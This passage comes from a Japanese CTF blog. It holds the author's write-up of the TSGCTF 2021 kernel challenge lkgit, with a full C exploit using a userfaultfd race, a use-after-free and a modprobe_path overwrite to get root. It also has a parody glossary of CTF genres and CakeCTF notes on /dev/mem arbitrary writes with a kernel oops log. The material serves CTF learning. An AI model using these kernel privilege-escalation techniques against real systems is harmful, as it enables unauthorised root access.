さて、これでkernbaseのleakができました。任意のシンボルのアドレスが分かったことになります。あとはAAWがほしいところです。ここまでで使っていないのはlkgit_amend_commitですが、これは内部でget関数を呼び出す怪しい関数です。案の定、オブジェクトのアドレスをスタックに積んで保存しちゃっています。なので、ここでgetの間にやはり処理を飛んでkfreeすれば解放されたオブジェクトに対して書き込みを行うことが出来ます。

lkgit.c
static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ);
	}

	end:
		return ret;
}

 

また、2つの構造体を比較してみると、messageとして確保される領域がlog_objectと同じサイズであることがわかります。

#define MESSAGE_MAXSZ             0x20
typedef struct {
  char hash[HASH_SIZE];
  char *content;
  char *message;
} hash_object;

 

最後に、lkgit_hash_object()における各バッファの確保順を見てみると以下のようになっています。

lkgit.c
	char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);
	char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL);
	hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL);

 

よって、amend->get->止める->オブジェクト削除->新しくlog_objectの作成->amend再開とすることで、amendで書き込む対象であるmessageを任意のアドレスに向けることが可能です。これでAAWになりました。

ここまできたら、あとはお決まりのmodprobe_pathテクニックによってrootで任意のことが出来ます。modprobe_pathの悪用については、以下の2点を読むと原理と詳細が解ると思います。

https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md

https://github.com/smallkirby/kernelpwn/blob/master/important_config/STATIC_USERMODEHELPER.md

 

modprobe_pathのアドレスの特定については以下を参考にしてください。

https://github.com/smallkirby/kernelpwn/blob/master/important_config/KALLSYMS_ALL.md

 

7: full exploit

 

exploit.c
/****************
 *
 * Full exploit of lkgit.
 * 
****************/

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <netinet/in.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>

#include "../src/include/lkgit.h"// commands

#define DEV_PATH "/dev/lkgit"   // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long

#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR    0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void*)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];

ulong single_start;
ulong kernbase;

ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)


// utils
#define WAIT getc(stdin);
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
ulong user_cs,user_ss,user_sp,user_rflags;

/** module specific utils **/

char* hash_to_string(char *hash) {
  char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);
  for(int ix = 0; ix != HASH_SIZE; ++ix) {
    sprintf(hash_str + ix*2, "%02lx", (unsigned long)(unsigned char)hash[ix]);
  }
  return hash_str;
}

char* string_to_hash(char *hash_str) {
  char *hash = calloc(HASH_SIZE, 1);
  char buf[3] = {0};
  for(int ix = 0; ix != HASH_SIZE; ++ix) {
    memcpy(buf, &hash_str[ix*2], 2);
    hash[ix] = (char)strtol(buf, NULL, 16);
  }
  return hash;
}

void print_log(log_object *log) {
  printf("HASH   : %s\n", hash_to_string(log->hash));
  printf("MESSAGE: %s\n", log->message);
  printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/


void *conflict_during_fault(char *content) {
  // commit with conflict of hash
  char content_buf[FILE_MAXSZ] = {0};
  char msg_buf[MESSAGE_MAXSZ] = {0};
  memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...
  hash_object req = {
      .content = content_buf,
      .message = content_buf,
  };
  printf("[.] committing with conflict...: %s\n", content);
  assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
  printf("[+] hash: %s\n", hash_to_string(req.hash));
}

// userfaultfd-utils
static void* fault_handler_thread(void *arg)
{
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg;   // data read from userfaultfd
  //struct uffdio_copy uffdio_copy;
  struct uffdio_range uffdio_range;
  struct uffdio_copy uffdio_copy;
  long uffd = (long)arg;        // userfaultfd file descriptor
  struct pollfd pollfd;         //
  int nready;                   // number of polled events

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while(poll(&pollfd, 1, -1) > 0){
    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if(read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if(msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: %p\n", (void*)msg.arg.pagefault.address);

    // Now, another thread is halting. Do my business.
    char content_buf[FILE_MAXSZ] = {0};
    if (target_addr == (void*)NO_FAULT_ADDR) {
      puts("[+] first: seq_operations");
      memset(content_buf, 'A', FILE_MAXSZ);
      conflict_during_fault(content_buf);
      puts("[+] trying to realloc kfreed object...");
      if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0) {
        errExit("open seq_operations");
      }

      // trash
      uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
      uffdio_range.len = PAGE;
      if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
        errExit("ioctl-UFFDIO_UNREGISTER");
    } else {
      printf("[+] target == modprobe_path @ %p\n", (void*)kernbase + off_modprobepath);
      strcpy(content_buf, "/tmp/evil\x00");
      conflict_during_fault(content_buf);

      puts("[+] trying to realloc kfreed object...");
      long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));
      for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix) {
        buf[ix] = kernbase + off_modprobepath;
      }

      char content_buf[FILE_MAXSZ] = {0};
      char hash_buf[HASH_SIZE] = {0};
      strcpy(content_buf, "uouo-fish-life\x00");
      hash_object req = {
          .content = content_buf,
          .message = (char*)buf,
      };
      assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
      printf("[+] hash: %s\n", hash_to_string(req.hash));

      // write evil message
      puts("[+] copying evil message...");
      char message_buf[PAGE] = {0};
      strcpy(message_buf, "/tmp/evil\x00");
      uffdio_copy.src = (unsigned long)message_buf;
      uffdio_copy.dst = msg.arg.pagefault.address;
      uffdio_copy.len = PAGE;
      uffdio_copy.mode = 0;
      if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
        errExit("ioctl-UFFDIO_COPY");
    }

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

void register_userfaultfd_and_halt(void)
{
  puts("[+] registering userfaultfd...");

  long uffd;      // userfaultfd file descriptor
  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if(uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  addr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  printf("[+] mmapped @ %p\n", addr);
  if(addr == MAP_FAILED || addr != target_addr)
    errExit("mmap");

  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  // first step
  if (target_addr == (void*)NO_FAULT_ADDR) {
    uffdio_register.range.start = (size_t)(target_addr + PAGE);
    uffdio_register.range.len = PAGE;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  } else {
    // second step
    uffdio_register.range.start = (size_t)(target_addr + PAGE);
    uffdio_register.range.len = PAGE;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  }
  //uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protection
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
  if(s!=0){
    errno = s;
    errExit("pthread_create");
  }

  puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)


int main(int argc, char *argv[])
{
  puts("[.] starting exploit...");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
  system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");
  system("chmod +x /tmp/evil");
  system("chmod +x /tmp/nirugiri");


  lkgit_fd = open(DEV_PATH, O_RDWR);
	if(lkgit_fd < 0) {
		errExit("open");
	}

  // register uffd handler
  target_addr = (void*)NO_FAULT_ADDR;
  target_len = 2 * PAGE;
  register_userfaultfd_and_halt();
  sleep(1);

  log_object *log = (log_object*)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
  printf("[.] target addr: %p\n", target_addr);
  printf("[.] log:         %p\n", log);

  // spray
  puts("[.] heap spraying...");
  for (int ix = 0; ix != 0x90; ++ix) {
    tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
  }

  // commit a file normaly
  char content_buf[FILE_MAXSZ] = {0};
  char msg_buf[MESSAGE_MAXSZ] = {0};
  char hash_buf[HASH_SIZE] = {0};
  memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...
  strcpy(msg_buf, "This is normal commit.\x00");
  hash_object req = {
      .content = content_buf,
      .message = msg_buf,
  };
  assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
  printf("[+] hash: %s\n", hash_to_string(req.hash));

  memset(content_buf, 0, FILE_MAXSZ);
  strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000
  strcpy(msg_buf, "This is second commit.\x00");
  assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
  printf("[+] hash: %s\n", hash_to_string(req.hash));


  // try to get a log and invoke race
  // this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).
  memset(log->hash, 0, HASH_SIZE);
  assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);
  print_log(log);

  // kernbase leak
  single_start = *(unsigned long*)log->hash;
  kernbase = single_start - off_single_start;
  printf("[!] single_start: %lx\n", single_start);
  printf("[!] kernbase: %lx\n", kernbase);

  // prepare for race again.
  target_len = PAGE * 2;
  target_addr = (void*)NO_FAULT_ADDR + PAGE*2;
  register_userfaultfd_and_halt();
  sleep(1);

  // amend to race/AAW
  log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
  memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000
  puts("[.] trying to race to achive AAW...");
  int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);
  if (e != 0) {
    if (e == -LKGIT_ERR_OBJECT_NOTFOUND) {
      printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));
    } else {
      printf("[ERROR] unknown error in AMEND.\n");
    }
  }
 
  // nirugiri
  puts("[!] executing evil script...");
  system("/tmp/nirugiri");
  system("cat /home/user/flag");

  printf("[.] end of exploit.\n");
  return 0;
}

 

今回はwgetこそ入っているもののネットワークモジュールが実装されていないため使えません。これはコンフィグ変にいじってデカ重になったりビルドし直したりするのが嫌だったのでこのままにしておきました。まぁBASE64で送るだけなので、大変さはそんなじゃないと思っています。送り方がわからない人は以下を見てください。

https://github.com/smallkirby/snippet/blob/master/exploit/kernel/sender.py

 

 

8: Community Writeups

解いてくれた人・復習してやってくれた人のブログとかwriteupを集めます。(ただ、軽く見た感じlkgitは触ってくれた人自体がとても少ないみたいでwriteupも見つからず、わんわん泣いています。chatにジェラってます。まぁchat良い問題だからそれはそうなんですが)

 

1. LOOP3Rさんによる解説(in Discord of TSGCTF)

え、個人チームだったのか。shm_fille_dataを使ったようです。あとuffdのMODE_WPはこのexploitだと使わなくてもいいよーなそうでもないよーな気はしますが、このブログでも触れた通りいい感じに使う機会はありそうです。お見事。

discord.com

 

2. しふくろさん(@shift_crops) によるきれいなPoC

いつも参考にさせていただいておりまする。きれいですわね。こちらもleakはshm経由で行っています。関係ないけどscpwnに乗り換えようかな。

あとシステムにlibcがあって楽だったっぽいです(一瞬tweet見た時に非想定で一瞬で解けたのかと思ったけど、ただ便利だったっぽいのでOKです。ところで一般のkernel問題ってlibcおいてないんだっけ。僕はいつもローカルで100%いけるようになってからstaticにして送るので気にしたことありませんでした)。

github.com

 

3. ptr-yudaiさんのブログ

ptr-yudai.hatenablog.com

 

4. kileak (Super Guesser)さんによる完全無欠なwriteup

これもう、公式writeupにします、これ以上の説明がないので。kileakさん、なんか聞いたことがあると思ったら、ぼくの故郷ことpwnable.xyzのいくつかの問題(attack,badayum,nin,knum)の作者さんですね、ありがとうございます! (ぼくはknum解くのに8億年かかった記憶があります)

kileak.github.io

 

TBD

 

9: 余談

CTF中はみんはやにはまりました。クイズを100問作って解いてもらっていました。楽しかったです。あと、CakeCTFを見習ってswagとして乾パンを贈ろうとしたんですが、駄目でした。 

 

 

10: アウトロ

f:id:smallkirby:20211003170024p:plain

今回はkernel問のイントロ的に作ってみました。leakのあとはheap問にしたりSMEP/SMAPを回避させるバージョンも考えましたが、素直じゃないので辞めました。一応(慣れている人にとって面白いかどうかは別として)とっつきやすい問題になっていると思います。次はもっと勉強して問題解いていいのを作りたいです。あと、twitterもDiscordもchat一色になっていて大泣きしています。

lkgitに関して不明点等合った場合は、TwitterかDiscordのDMで聞いてください。

 

 

 

何はともあれ、TSGCTF2021終わりです。また来年、少しだけ成長して会いましょう。

 

 

10: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

2: my kernelpwn repo

https://github.com/smallkirby/kernelpwn

 

 

 

続く...

 

 

【雑談 11.0】ÇTFどは

 

 

 

ÇTFどは

 

ÇTF どは、 Current Translates into Future の略語で、「現在の事象は、全て未来へと変わっていく」という意味が込められています。競技としてのÇTFは、このオリジナルの意味はほとんど残っておらず、今では Can-pan The Flag が語源だと言われることが多いです。

 

パソコンと乾パンに関する知識及びスキルを競う競技で、パソコンと乾パンを掌握して Flag と言われる秘密で美味しい情報を奪取し提出すると得点が得られます。一言でÇTFと言っても、様々なジャンルが存在し、乾パンの幅広い分野の知識が要求されます。但し、全ての分野に対して詳しくなる必要は全く無く、どれかの分野だけでも解けるととても楽しいしチーム内で重宝されるようになります。

 

ジャンルについて

 

ÇTFには、メインとなる1つのジャンルと、サブとなる4つのジャンルが存在しています。メインジャンルが miscサブジャンルが pwnwebcryptorev です。以下では、それぞれについて簡単に説明していきます。

 

 

misc

ÇTFにおいて最もメジャーなジャンルであり、内容はずばり「なんでも」です。分野を問わずパソコンと乾パンのあらゆる知識が問われるため、最も難易度の高いジャンルになっています。その性質上、ÇTFで多く出題すると参加者から怒られる可能性もつきまといますが、そんなやつらには有無を言わさず拳をくれてやりましょう。

 

pwn

プログラムの脆弱性を突いて、プログラムの制御を奪取した後、一旦パソコンの電源を切って、近くのスーパーまで行って乾パンを買い、お家に帰って味わいながらそれを食べて、そのあとお水飲んで、一息ついた時の感想をFlagとして提出するジャンルです。問題はプログラムの制御を奪うパート・買い物パート・実食パートに分かれているため、対策が少し難しいジャンルでもあります。しかし実際に乾パンを食べることの出来るジャンルはpwnだけであるため、ハッカーたちの間で根強く人気の有るジャンルです。

 

 

web

webブラウザ(ブラウザって知ってますか?InternetExploreとかMicrosoftEdgeとかです)を使ってネットサーフィンをし、目的の乾パンを探す競技です。まれに RECON とも呼ばれます。主にYoutubeを使うための知識、適切な検索エンジンを選択するスキルが問われます。乾パンの画像の一部やメーカーのみが与えられて、その商品名を答えるタイプの問題が多いです。たまにカレーうどんの問題も出ます。

 

 

rev

revは、reversingという英語の略語であり、文字通り戻すジャンルです。具体的には、ある乾パンが原子レベルで分解されて配布されるため、それを全く同じ原子分子構造・配列で再構築し、できあがった乾パンを美味しく食することが出来ればFlagが得られます。仮に原子をひと粒でも残してしまったりすると失格になり、一生地球から出禁になります。過去、ZECCONというコンテストで配布された原子が異常に少なく、組み立ててみたら乾パンではなく乾パンの中に入っているゴマであったという騒動が有名です。

 

 

crypto

cryptoは、解いてる人が一人もいないジャンルです。

 

 

1: 実食編

それでは、実際にÇTFを体験してみましょう。今回実食するジャンルはpwnです。それでは、やっていきましょう。

ÇTFでは、まずスコアサーバを訪れて問題一覧を見る必要があります。

f:id:smallkirby:20210930230914p:plain

スコアボード

今回は「乾パンパニック!」という1点問題を練習として解いてみましょう。問題をクリックしてみましょう(クリックって知ってますか?)

f:id:smallkirby:20210930230936p:plain

乾パンパニック

「乾パンパニックを起こしてください」と書いてあります。ファイルをダウンロードして開いてみましょう。

f:id:smallkirby:20210930231002p:plain

展開できないぞ??

おや??名前に反してどうやら tar.gz ファイルではないようです。それではここで file コマンドを使ってみましょう。

f:id:smallkirby:20210930231025p:plain

なんてこった〜〜〜〜〜い

な、なんと!?名前が tar.gz なのに実際はただのtxtファイルではありませんか!?それでは、中身はどうなっているのでしょうか...?

f:id:smallkirby:20210930231045p:plain

ふ、ふらぐが得られたぞ!?

Flagっぽい文字列が得られました!このように、実は違うファイルになっていて、そのままcatするとそれがそのまま答えというのは、pwnジャンルでは頻出のパターンです。さっそくこれを提出してみましょう。スコアボードに戻り問題欄から先程のフラグを提出します。

f:id:smallkirby:20210930231110p:plain

あれ、不正解...?

あれ、どうやら違うみたいです...(泣)。これがpwnの難しいところです。今一度ジャンルの説明を思い返してみましょう。そうです、pwnでは問題を解いた後に、乾パンを買いに行って、乾パンを食べなくてはならないのです!Flagを得られたと思う誘惑に負けず、一度パソコンを閉じてスーパーに行きましょう。そこで、万物の長である乾パンを買ってきます。

f:id:smallkirby:20210930231224j:plain

乾パン is everywhere...

そして何もかもを忘れ、無心に頬張りましょう。嫌なことも悲しいことも、乾パンを食べているときだけは忘れられるものです。そして食べ尽くした後、お茶を飲み、ひと呼吸着いて、パソコンを再び開きます。そして、その時思っていることを、素直に、すごく素直に、書いてみましょう。そう、乾パンは、おいしい」。

f:id:smallkirby:20210930231257p:plain

正解!

 

正解!!!

 

 

2: 最後に

f:id:smallkirby:20210930231558p:plain

localhost:3000

いかがだったでしょうか???

以上が、大抵の問題の解き方になります。ジャンルに差異こそあれ、まぁ大体は乾パンくったら終わりです。

最後に、今回サンプルとして使ったCTFサイトですが、ついに公開されました!「http://localhost:3000」でアクセスできるので、ぜひとも遊んでみてください!!



 

 

 

 

 

 

 

 

 

 

 

 

 

 

続く...

 

 

4: 参考

1: パン人間

https://twitter.com/moratorium08/status/992973579108081666?s=20

2: ニルギリ

https://youtu.be/yvUvamhYPHw

3: 題材にしたCTF

http://localhost:3000

 

 

 

 

 

【pwn 53.27】CakeCTF 2021 - 観戦記

 

 

いつぞや開催された CakeCTF 2021 。始まってから初めてzer0pts主催だということを知りました。InterKosenもzer0ptsもCakeもやって、やばいですね。ところで、ここ2ヶ月ぱそこんを触っていなかったため、ぱそこんの立ち上げ方もブログの書き方も忘れてしまいました。もちろんpwnもすべて忘れました。よって、このエントリはwriteupではなく、チームの人(主にmoraさんが)が解いているのをBIGカツを食べながら見ていた感想になります。

 

 

1: hwdbg

/dev/memへの任意のwriteができるため、物理アドレスに対して直で書き込みができるよという問題。2ヶ月ぶりのkernel問(実際は、semi-kernel問)だったため、色々と思い出しながら問題を見ました。いくつかの実験の後に、シンボルの物理アドレスは(少なくともkernellandのシンボルに関しては)実行毎に不変であるという確証が持てたため、下のどれかの作戦で行こうと思いました。

 

- kernellandのデータ領域(modprobe_path)を書き換え、rootで任意スクリプトを動かす。

- kernellandのstackを書き換え、制御を奪う。

- kernellandのUIDの変更を行う関数のcodeを書き換え、任意プロセスがrootになれるようにする。

- kernellandのcodeを書き換えshellcodeを入れる。

- hwdbgのコードを書き換え、shellcodeを入れる。

 

AAWのため色々と候補はありますが、/dev/memへの書き込みが任意に出来るだけならこのデバイスファイルの権限を変えるだけの問題でも良いはずで、おそらくsuidがhwdbgバイナリについてることが本質で、hwdbg自体のコードを書き換えるのが想定解なのかなぁと思いました。但し、ユーザランドのプロセスは実行された順番によって物理アドレスが多少変わると思うので、多少のbruteforceが必要な気がしたので、ぼくはkernellandの方で解きたいと思っていました。が、その間にmoraさんがhwdbgの書き換えによって解いたので無職になりました。

 

【追記 20210830】

/dev/memへのアクセスは、権限を変えたところでrootしか許可されないようにkernel側でごにょごにょしているらしいです。よって、必然的にこの問題のようにsuidをセットすることに成るっぽいです。詳細はあとで調べます。

【追記おわり】

 

しかし、時間がかかったのにはいくつか理由があって:

 

- modprobe_pathが見つからなかった。kallsymsで見えなくて、nmでも見えなかったため見つからなかった。多分存在はしていたと思うけど、CONFIG_KALLSYMS_ALLが無効になっていたのか、textシンボルしか見れなかった。あれ、こういう場合ってシンボルのオフセット探す方法どうやるんでしたっけ、教えてください。いい感じの関数でbreakして頑張って探すしかない?

- modprobe_pathはconstにすることができるため、今回はその設定だと思った。こういう時に、どのシンボルを書き換えると楽にLPEできるか知らなかった。

- ktext領域への書き込みでフォルトが起きる。

 

【追記 20210830】

modprobe_pathは最近のkernel(5~)で行方不明になっているらしいです。案の定こいつを使う関数にbreakを貼っておいて追うのが良いらしいです。また、modprobe_pathは今回staticになっていなかったらしいです。因みに、CONFIG_KALLSYMS_ALLが有効な場合はちゃんと/proc/kallsymsから読めることは最近のkernelでも確認済みです。デフォルトのconfigがどっかで変わったのかな。あとで調べます。

それから、フォルトについてはCONFIG_STRICT_DEVMEMというコンフィグが立っていたらしいです。この場合PCI/BIOS/data(.data,.bss)へのアクセスのみが許可され、kernellandのtextセクション等への書き込みは拒否されるようです。知りませんでした。4.xからあるらしいので、勉強不足です。

 

modprobe_pathについては、オフセットを調べるのは非常に簡単です。二度と忘れないようにやり方をgithubにまとめておきました。

github.com

【追記おわり】

 

とりわけ、ktextへの書き込みでフォルトが起こるのがよく分からずに時間を溶かしてしまいました。ぼくの認識では物理アドレスへのアクセスはページテーブルとかを介さないため、よってアクセス権限もフォルトも無縁の世界と思っていました。

 

fault.txt
/ # cat /proc/iomem
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c99ff : Video ROM
000ca000-000cadff : Adapter ROM
000cb000-000cb5ff : Adapter ROM
000f0000-000fffff : Reserved
  000f0000-000fffff : System ROM
00100000-03fdffff : System RAM
  02600000-03000c36 : Kernel code
  03200000-033b3fff : Kernel rodata
  03400000-034e137f : Kernel data
  035de000-037fffff : Kernel bss
03fe0000-03ffffff : Reserved
04000000-febfffff : PCI Bus 0000:00
  fd000000-fdffffff : 0000:00:02.0
    fd000000-fdffffff : bochs-drm
  fe000000-fe003fff : 0000:00:03.0
    fe000000-fe003fff : virtio-pci-modern
  feb00000-feb7ffff : 0000:00:03.0
  feb90000-feb90fff : 0000:00:02.0
    feb90000-feb90fff : bochs-drm
  feb91000-feb91fff : 0000:00:03.0
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
  fed00000-fed003ff : PNP0103:00
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : Reserved
100000000-17fffffff : PCI Bus 0000:00
/ # hwdbg mw 8 2600000
AAAAAAAA
BUG: unable to handle page fault for address: ffff938c42600000
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
PGD 3801067 P4D 3801067 PUD 3802067 PMD 80000000026000e1
Oops: 0003 [#1] SMP PTI
CPU: 0 PID: 144 Comm: hwdbg Not tainted 5.10.7 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
RIP: 0010:memset_orig+0x72/0xb0
Code: 47 28 48 89 47 30 48 89 47 38 48 8d 7f 40 75 d8 0f 1f 84 00 00 00 00 00 89 d1 83 e1 38 74 14 c1 e91
RSP: 0018:ffffa33780453e30 EFLAGS: 00000246
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000008 RSI: 0000000000000000 RDI: ffff938c42600000
RBP: ffffa33780453e50 R08: 4141414141414141 R09: 0000000000000000
R10: ffff938c42600000 R11: 0000000000000000 R12: ffff938c42600000
R13: 0000000000000008 R14: ffff938c41e92100 R15: 0000000000000008
FS:  00000000004076d8(0000) GS:ffff938c42400000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffff938c42600000 CR3: 0000000001e7a000 CR4: 00000000003006f0
Call Trace:
 ? _copy_from_user+0x70/0x80
 write_mem+0x96/0x140
 vfs_write+0xc2/0x250
 ksys_write+0x53/0xd0
 __x64_sys_write+0x15/0x20
 do_syscall_64+0x38/0x50
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x403744
Code: 07 48 89 47 08 48 29 d1 48 01 d7 eb df f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c0
RSP: 002b:00007ffec3e615a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 000000000040136a RCX: 0000000000403744
RDX: 0000000000000008 RSI: 00007ffec3e61600 RDI: 0000000000000003
RBP: 00007ffec3e62610 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffec3e62688
R13: 00007ffec3e626b0 R14: 0000000000000000 R15: 0000000000000000
Modules linked in:
CR2: ffff938c42600000
---[ end trace afbab88ef6185423 ]---
RIP: 0010:memset_orig+0x72/0xb0
Code: 47 28 48 89 47 30 48 89 47 38 48 8d 7f 40 75 d8 0f 1f 84 00 00 00 00 00 89 d1 83 e1 38 74 14 c1 e91
RSP: 0018:ffffa33780453e30 EFLAGS: 00000246
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000008 RSI: 0000000000000000 RDI: ffff938c42600000
RBP: ffffa33780453e50 R08: 4141414141414141 R09: 0000000000000000
R10: ffff938c42600000 R11: 0000000000000000 R12: ffff938c42600000
R13: 0000000000000008 R14: ffff938c41e92100 R15: 0000000000000008
FS:  00000000004076d8(0000) GS:ffff938c42400000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffff938c42600000 CR3: 0000000001e7a000 CR4: 00000000003006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: 0xa800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbffffff)

 

これを見ると、そもそもに書き込みたいところ以外でフォルトが起きていて、意図しないマッピングになっている感じがします(というか、物理に直接書いてるのにマッピングって何よ)。

 

自前kernelでデバッグしてみようとしたところ、以下の感じになりました。

 

not-write.txt
/ # cat /proc/iomem
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c99ff : Video ROM
000ca000-000cadff : Adapter ROM
000cb000-000cb5ff : Adapter ROM
000f0000-000fffff : Reserved
  000f0000-000fffff : System ROM
00100000-03fdffff : System RAM
  01000000-01e037d6 : Kernel code
  02000000-02378fff : Kernel rodata
  02400000-026b807f : Kernel data
  02c67000-02dfffff : Kernel bss
03fe0000-03ffffff : Reserved
04000000-febfffff : PCI Bus 0000:00
  fd000000-fdffffff : 0000:00:02.0
  fe000000-fe003fff : 0000:00:03.0
  feb00000-feb7ffff : 0000:00:03.0
  feb90000-feb90fff : 0000:00:02.0
  feb91000-feb91fff : 0000:00:03.0
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
  fed00000-fed003ff : PNP0103:00
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : Reserved
100000000-17fffffff : PCI Bus 0000:00
/ # hwdbg mw 8 1000000
AAAAAAAA
/ # QEMU 4.2.1 monitor - type 'help' for more information
(qemu) xp/gx 0x1000000
0000000001000000: 0x4801403f51258d48

 

